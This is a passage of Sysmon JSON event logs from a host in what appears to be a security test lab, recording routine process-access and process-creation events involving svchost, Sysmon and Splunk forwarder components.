11:52:40.329","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3898,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:40.329\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:40.329","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3899,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:40.329\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:40.329","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3900,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:40.329\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:40.329","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3901,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:40.329\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:40.329","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3902,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:40.329\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4088-5F2D-0000-0010B6940500}\r\nTargetProcessId: 3612\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:40.329","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4088-5F2D-0000-0010B6940500}","TargetProcessId":"3612","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3903,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:40.470\r\nSourceProcessGUID: {90617006-4088-5F2D-0000-0010B6940500}\r\nSourceProcessId: 3612\r\nSourceThreadId: 4480\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:40.470","SourceProcessGUID":"{90617006-4088-5F2D-0000-0010B6940500}","SourceProcessId":"3612","SourceThreadId":"4480","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3904,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.002\r\nProcessGuid: {90617006-4089-5F2D-0000-001001970500}\r\nProcessId: 4340\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe\r\nFileVersion: 8.0.2\r\nDescription: Monitor windows event logs\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winevtlog.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=A735F697C6C533F20D023E4318824194,SHA256=295236CFB06A5F9C1F76EECC468F9A070BFCB5C4E094918059EC86BBB654E119,IMPHASH=85F4904CF3562658E303E53274ABD436\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.002","ProcessGuid":"{90617006-4089-5F2D-0000-001001970500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe","FileVersion":"8.0.2","Description":"Monitor windows event logs","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winevtlog.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=A735F697C6C533F20D023E4318824194,SHA256=295236CFB06A5F9C1F76EECC468F9A070BFCB5C4E094918059EC86BBB654E119,IMPHASH=85F4904CF3562658E303E53274ABD436","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3905,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.002\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010001F0500}\r\nTargetProcessId: 4340\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.002","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010001F0500}","TargetProcessId":"4340","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3906,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 